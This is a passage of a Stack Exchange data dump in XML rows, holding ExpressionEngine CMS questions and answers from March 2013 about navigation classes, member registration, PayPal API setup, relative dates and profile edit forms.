alt=&quot;&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;col_right&quot;&amp;gt;&#xA;{naam_fotograaf}&amp;lt;br /&amp;gt;&#xA;{title} | {jaartal}&amp;lt;br /&amp;gt;&#xA;{formaat}&amp;lt;br /&amp;gt;&#xA;{prijs}&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!--  PAGINATION   --&amp;gt;&#xA;&#xA; {paginate}&#xA;&#xA;  {pagination_links}&#xA;&#xA;{/paginate}  &#xA;&#xA;&amp;lt;!--  E.O. PAGINATION   --&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is the url when watching the photos from a selected categorie: .../overzicht/fotograaf/francois-morfouace)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOW MY PROBLEM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view photos from a selected categorie the menu item has no more the class selected in the nav.  &lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-03-13T16:00:54.597" Title="Structure nav item no more selcted" Tags="|categories|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostTypeId="1" CreationDate="2013-03-13T09:43:17.617" Score="2" ViewCount="31" Body="&lt;p&gt;I'm looking for an affiliate add-on that has support for 2 tier payouts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereby affiliates make a percentage of each sale made by the other affiliates that they have referred.&lt;/p&gt;&#xA;" OwnerUserId="1168" LastActivityDate="2013-03-13T13:24:09.627" Title="Are there any Affiliate add-ons that have 2-tier programs?" Tags="|add-on|affiliate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7295" PostTypeId="1" AcceptedAnswerId="7297" CreationDate="2013-03-13T09:44:21.203" Score="4" ViewCount="3443" Body="&lt;p&gt;I am a newbie to expressionengine. I have EE 2.5.5 purchased version. What i want to know is can i create a member registration form and explicitly ask users to register?&lt;/p&gt;&#xA;" OwnerUserId="1169" LastEditorUserId="28" LastEditDate="2013-03-13T15:44:12.690" LastActivityDate="2016-04-23T10:48:14.397" Title="Member registration form without third party plugins/add-ons" Tags="|forms|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostTypeId="2" ParentId="7261" CreationDate="2013-03-13T12:41:46.373" Score="2" Body="&lt;p&gt;Before issuing the resize call, simply record the current map centre so you can reset it. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.tabbed-form .tabs').kosTabs({&#xA;  after: function() {&#xA;    if(typeof Gmap !== 'undefined') {&#xA;      var instance = Gmap.instances[0];&#xA;      if(typeof instance !== 'undefined') {&#xA;        var center = instance.map.getCenter();&#xA;        google.maps.event.trigger(instance.map, 'resize');&#xA;        instance.map.setCenter(center);&#xA;      }&#xA;    }&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="753" LastActivityDate="2013-03-13T12:41:46.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7297" PostTypeId="2" ParentId="7295" CreationDate="2013-03-13T12:42:16.210" Score="5" Body="&lt;p&gt;The only way to allow members to register without an add-on is to use the Member module's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#registration-page&quot; rel=&quot;noreferrer&quot;&gt;registration functionality&lt;/a&gt;. This page is displayed based on your &quot;member&quot; trigger word, uses a completely different set of templates from the rest of your site, and is generally a pain in the ass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is why modules like &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;noreferrer&quot;&gt;FreeMember&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/user&quot; rel=&quot;noreferrer&quot;&gt;User&lt;/a&gt; are so popular.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-13T12:42:16.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostTypeId="2" ParentId="7292" CreationDate="2013-03-13T12:56:43.820" Score="5" Body="&lt;p&gt;This is likely because you've enabled &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#strict-urls&quot; rel=&quot;noreferrer&quot;&gt;strict URLs&lt;/a&gt; in your Template Preferences, which means that the first segment of your URL &lt;em&gt;must&lt;/em&gt; be a valid template group. Disabling strict URLs will allow you to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest, however, that rather than the approach you're taking, make your &lt;code&gt;standard_item&lt;/code&gt; channel the default channel for the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/index.html&quot; rel=&quot;noreferrer&quot;&gt;Pages module&lt;/a&gt; (and choose a default template for new entries in that channel), and instruct your clients to use not the URL Title field, but the Pages URI field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way your home page template is bypassed altogether (loading the selected page template directly), and you can ditch the Switchee approach. Much cleaner and more future-proof.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-13T12:56:43.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7299" PostTypeId="1" AcceptedAnswerId="7308" CreationDate="2013-03-13T12:58:33.640" Score="2" ViewCount="217" Body="&lt;p&gt;I am trying to get my info to set up PayPal express with Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I login to my PayPal account I am not seeing what they are asking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Store Docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal Express Checkout requires an API Username, Password, and Signature. These are different from your PayPal account details. You can obtain your API details by logging in to your PayPal account, and clicking Profile &gt; My Selling Tools &gt; API Access &gt; Request/View API Credentials &gt; Request API Signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click Profile I do not see My selling tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do find on my profiel page: Request API credentials, but when I click that I see:&#xA;Setting up API permissions and credentials&#xA;Choose one of the following options to integrate your PayPal payment solution with your online store or shopping cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grant API permission&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I see:&#xA;Add New Third Party Permissions&#xA;Manage permission given to a third-party application to access specific information in your account and take actions on your behalf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about the permissions you are granting, see Third Party Permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third Party Permission Username&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click View API Certificate&#xA;I get &#xA;API Username    name_api1.gmail.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API Password    ••••••••••••&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Request Date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but no signature??????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-03-13T13:05:59.420" LastActivityDate="2013-03-13T14:23:13.223" Title="PayPal Express set up in Store" Tags="|expresso-store|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7300" PostTypeId="1" CreationDate="2013-03-13T13:01:27.417" Score="4" ViewCount="480" Body="&lt;p&gt;I am new to expression engine, but have experience working with other CMSs which have a Solr search integrated or module available (Drupal, Silverlight, TYPO3). I have searched all over but found no equivalent in expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I start developing one I wanted to ask the community if they know of any examples of one, code to get started, or discussion of the issue?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2013-03-13T13:40:52.937" Title="Expression Engine and Solr Search" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7301" PostTypeId="1" AcceptedAnswerId="7305" CreationDate="2013-03-13T13:23:17.877" Score="3" ViewCount="135" Body="&lt;p&gt;Is there a way to format the date output so it reads like it does on Twitter or Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if a post was posted 2 days ago the output would be '2 days ago', the same goes for weeks, so if the entry was posted 2 weeks ago it says '2 weeks ago'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need it to go up to 2 weeks, after that it will switch back to a normal date format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-03-13T17:24:25.833" Title="Formating entry date like Twitter or Facebook" Tags="|channel-entries|date|time|entry-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7302" PostTypeId="2" ParentId="7294" CreationDate="2013-03-13T13:24:09.627" Score="1" Body="&lt;p&gt;There are just a few &lt;a href=&quot;http://devot-ee.com/search/tags/tag/affiliate&quot; rel=&quot;nofollow&quot;&gt;affiliate add-ons&lt;/a&gt; for ExpressionEngine. I don't think any of them supports what you're asking, but maybe it's better to talk to respective developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can consider building something on top of existing add-on, or integrate some non-EE solution (both would require custom coding).&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-13T13:24:09.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7303" PostTypeId="2" ParentId="7288" CreationDate="2013-03-13T13:28:56.157" Score="2" Body="&lt;p&gt;It maybe worth checking to see if you’ve got the same number of exp_weblog_titles and exp_weblog_data rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by going to Admin &gt; Utilities &gt; SQL Manager &gt; Database Query Form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select count(*) as cnt from exp_weblog_titles&#xA;select count(*) as cnt from exp_weblog_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enter these one at a time inside your form. Make sure the numbers match.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="28" LastEditDate="2013-03-13T16:27:41.753" LastActivityDate="2013-03-13T16:27:41.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7304" PostTypeId="2" ParentId="7301" CreationDate="2013-03-13T13:38:14.267" Score="1" Body="&lt;p&gt;There are several such add-ons listed on devot:ee. &lt;a href=&quot;http://devot-ee.com/search/results?keywords=relative%20date&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;Here's a search for &quot;relative date.&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-13T13:38:14.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7305" PostTypeId="2" ParentId="7301" CreationDate="2013-03-13T13:39:02.970" Score="5" Body="&lt;p&gt;There are at least three plugins that can format dates like &quot;x time-units ago.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/nic&quot; rel=&quot;nofollow&quot;&gt;Nice Time&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/time-ago&quot; rel=&quot;nofollow&quot;&gt;Time Ago&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wb-relative-date&quot; rel=&quot;nofollow&quot;&gt;WB Relative Date&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since you only need display a relative date for the first two weeks from the entry date, you'll need to wrap your date in a conditional based on &lt;code&gt;{current_time}&lt;/code&gt; and use a bit of math. Or as you pointed out in your comment, the Time Ago plugin has a &lt;code&gt;revert_to_date_format&lt;/code&gt; parameter for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-03-13T17:24:25.833" LastActivityDate="2013-03-13T17:24:25.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7306" PostTypeId="2" ParentId="7300" CreationDate="2013-03-13T13:40:52.937" Score="3" Body="&lt;p&gt;AFAIK, there are no tools that would allow Solr search integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may consider one of these search tools for EE:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/index.html&quot; rel=&quot;nofollow&quot;&gt;Search&lt;/a&gt; (included in default install) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;SuperSearch&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are also tools that integrate Google Search: &lt;a href=&quot;http://devot-ee.com/add-ons/low-googlesearch&quot; rel=&quot;nofollow&quot;&gt;Low GoogleSearch&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/google-custom-search&quot; rel=&quot;nofollow&quot;&gt;Google Custom Search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-13T13:40:52.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7307" PostTypeId="2" ParentId="7274" CreationDate="2013-03-13T13:42:14.353" Score="0" Body="&lt;p&gt;You shall also take a look at the admin.php file from your main install, some values might be overwritten with the new site. It happen to me once. Verify that each admin.php has the values according to the site they are assigned to.&lt;/p&gt;&#xA;" OwnerUserId="1155" LastActivityDate="2013-03-13T13:42:14.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7308" PostTypeId="2" ParentId="7299" CreationDate="2013-03-13T13:50:09.520" Score="1" Body="&lt;p&gt;Here is what my PayPal profile page looks like, not sure why you can't see &lt;em&gt;My Selling Tools&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fmmqd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you have set up an &lt;em&gt;API Certificate&lt;/em&gt; rather than a signature (probably for a different shopping cart). You probably need to go into the &lt;em&gt;View API Certificate&lt;/em&gt;, then click &lt;em&gt;Remove&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you should be able to request a new &lt;em&gt;API Signature&lt;/em&gt; instead. It sounds like you can't have both a signature and certificate set up at once. I don't want to remove my signature to find out for sure though!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-13T13:50:09.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7309" PostTypeId="2" ParentId="7229" CreationDate="2013-03-13T13:51:32.140" Score="0" Body="&lt;p&gt;I did not look into actual Champagne code, but try making this change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset($channel_settings['html_content_url']) OR ($channel_settings['html_content_url'] == '' OR $channel_settings['text_content_url'] == ''))&#xA;{&#xA;$tab_settings = array('string_override' =&amp;gt; lang('msg_no_channel_settings'));&#xA;return $tab_settings;&#xA;}       &#xA;else&#xA;{&#xA;    ... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-03-13T13:51:32.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7311" PostTypeId="2" ParentId="7259" CreationDate="2013-03-13T14:23:38.770" Score="1" Body="&lt;p&gt;There were some weird conditional bugs in 2.5.2 that got fixed - may be worth upgrading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/223416/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/223416/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-03-13T14:23:38.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7312" PostTypeId="2" ParentId="7293" CreationDate="2013-03-13T14:47:24.250" Score="1" Body="&lt;p&gt;If you're outside of the Structure hierarchy, we have no way to have the here state on the nav item.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-03-13T14:47:24.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7313" PostTypeId="1" CreationDate="2013-03-13T15:20:23.660" Score="2" ViewCount="51" Body="&lt;p&gt;My EE install are having issues with channel fields.&#xA;Normally, when changing field &quot;Type&quot;, you get different options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in my install, no matter what I set the &quot;Type&quot; field to, I get none options other than the standard &quot;Field settings&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: setting &quot;Type&quot; to Assets, should give me lots of Assets options (thumbnail size, folders to upload/select images from etc.). But I get none. Same applies no matter what &quot;Type&quot; I select. I have no clue why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know where to start? This is on a clean install with just a few things set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Kristoffer&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2013-03-13T15:38:25.203" Title="EE 2.5.5 channel issues" Tags="|channel|error|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7314" PostTypeId="1" CreationDate="2013-03-13T15:29:36.520" Score="2" ViewCount="114" Body="&lt;p&gt;I am working on a member profile edit using Profile:edit and a safecracker form. There is just one small problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to make changes to the profile (not as a super admin) it requires the current password. The documentation provides the following code, which I have tried, but I still get an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit return=&quot;/member-area/company-preview&quot; form_class=&quot;profile&quot;}&#xA;&#xA;{if logged_in_group_id != 1}&#xA;  &amp;lt;p&amp;gt;(You must submit the current password to update this page)&amp;lt;/p&amp;gt;&#xA;  &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Your Current Password:&amp;lt;/span&amp;gt;&#xA;   &amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; value=&quot;&quot; /&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA;{/if}&#xA;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Username:&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Screen Name:&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; value=&quot;{screen_name}&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Email:&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;p&amp;gt;Change password? Leave blank if you do not wish to change it.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;New Password&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Confirm New Password&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;&#xA;            {!-- superadmins don't have to submit existing password --}&#xA;            {if logged_in_group_id != 1}&#xA;                &amp;lt;p&amp;gt;(You must submit the current password to update this page)&amp;lt;/p&amp;gt;&#xA;                &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Your Current Password:&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;/label&amp;gt;&#xA;            {/if}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*First Name:&amp;lt;/span&amp;gt;&#xA;        {field:member_first_name}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*Last Name:&amp;lt;/span&amp;gt;&#xA;        {field:member_last_name}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*Full Name:&amp;lt;/span&amp;gt;&#xA;        {field:full_name}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Address:&amp;lt;/span&amp;gt;&#xA;        {field:member_address}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Address:&amp;lt;/span&amp;gt;&#xA;        {field:member_address2}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;City:&amp;lt;/span&amp;gt;&#xA;        {field:member_city}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;State:&amp;lt;/span&amp;gt;&#xA;        {field:member_state}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Zip:&amp;lt;/span&amp;gt;&#xA;        {field:member_zip}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;Main Phone:&amp;lt;/span&amp;gt;&#xA;        {field:member_phone}&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to make changes you must submit the current password&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any assistance resolving this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2013-03-13T15:57:00.687" LastActivityDate="2013-03-13T20:42:20.207" Title="Profile:edit / Safecracker current password not recognized" Tags="|safecracker|profile-edit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7315" PostTypeId="2" ParentId="7313" CreationDate="2013-03-13T15:38:25.203" Score="1" Body="&lt;p&gt;Sounds like your Theme directory may not have been uploaded correctly. Try reuploading it. Also, make sure the jQuery module is installed on the Modules page.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-13T15:38:25.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7316" PostTypeId="2" ParentId="7293" CreationDate="2013-03-13T15:48:37.307" Score="0" Body="&lt;p&gt;If I'm understanding the issue, something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='overzicht'}&quot; {if segment_3 == &quot;{category_url_title}&quot;}class=&quot;selected&quot;{/if}&amp;gt;&amp;lt;img src=&quot;{category_image}&quot;&amp;gt;&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add a class of &quot;selected&quot; to the active category.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you are wanting to make sure the main navigation item is selected, changing your code slightly and adding come custom CSS will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, add &lt;code&gt;add_unique_ids=&quot;yes&quot;&lt;/code&gt; to your structure:nav tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav add_unique_ids=&quot;yes&quot; current_class=&quot;selected&quot; start_from=&quot;/&quot; show_depth=&quot;2&quot; include_ul=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add a unique id to the navigation li tag. You'll need to look at the rendered code to determine the ID that is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, add something like this to your body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;overzicht&quot;}id=&quot;overzicht-body&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add CSS to style the nav item... something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#overzicht-body #NAME_OF_UNIQUE_ID {&#xA;    CSS for your &quot;selected&quot; state&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#overzicht-body #NAME_OF_UNIQUE_ID a {&#xA;    CSS for your &quot;selected&quot; state&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need adjust the CSS to match your rendered html code...&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-13T16:00:54.597" LastActivityDate="2013-03-13T16:00:54.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7317" PostTypeId="2" ParentId="7233" CreationDate="2013-03-13T16:07:28.503" Score="3" Body="&lt;p&gt;I think this may be somewhat more simple.  Can you go to your Wygwam editor configuration, under Advanced Settings, in the drop-down, choose Skin and follow those instructions.  Let's see if that helps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, please check your dev console for any JS errors and report them here.  Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add: this is quite an old post, but you might try what's in here if the above doesn't work: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/use_office2003_skin_in_wygwam&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/use_office2003_skin_in_wygwam&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-13T16:07:28.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7318" PostTypeId="2" ParentId="7138" CreationDate="2013-03-13T16:14:56.937" Score="1" Body="&lt;p&gt;Just to give a full answer of how we fixed this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We found that in system/expressionengine/modules/forum/mod.forum_core.php at line 6576, there is code to change field &quot;notification_sent&quot; to &quot;y&quot; once an email is sent. However, once that field is set to &quot;y&quot;, no further emails go out. To make this work as we need, we modified the code to leave that field at &quot;n&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original line 6576:&#xA;&lt;code&gt;$this-&gt;EE-&gt;db-&gt;set('notification_sent', 'y'); &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified line:&#xA;&lt;code&gt;$this-&gt;EE-&gt;db-&gt;set('notification_sent', 'n'); &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone is subscribed to that thread now, they will continue to receive email updates until they unsubscribe.&lt;/p&gt;&#xA;" OwnerUserId="1138" LastActivityDate="2013-03-13T16:14:56.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7319" PostTypeId="2" ParentId="7229" CreationDate="2013-03-13T16:32:34.353" Score="3" Body="&lt;p&gt;I suggest uninstalling 'Champagne', upgrade to latest version of EE, then reinstall 'Champagne'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a bug in EE that was causing the Publish Layouts to error when addons added a new tab after a layout was customized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe a new 'Champagne' tab will be added to each channel publish layout so you will most likely have to remove it from each layout that doesn't need it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-13T16:32:34.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
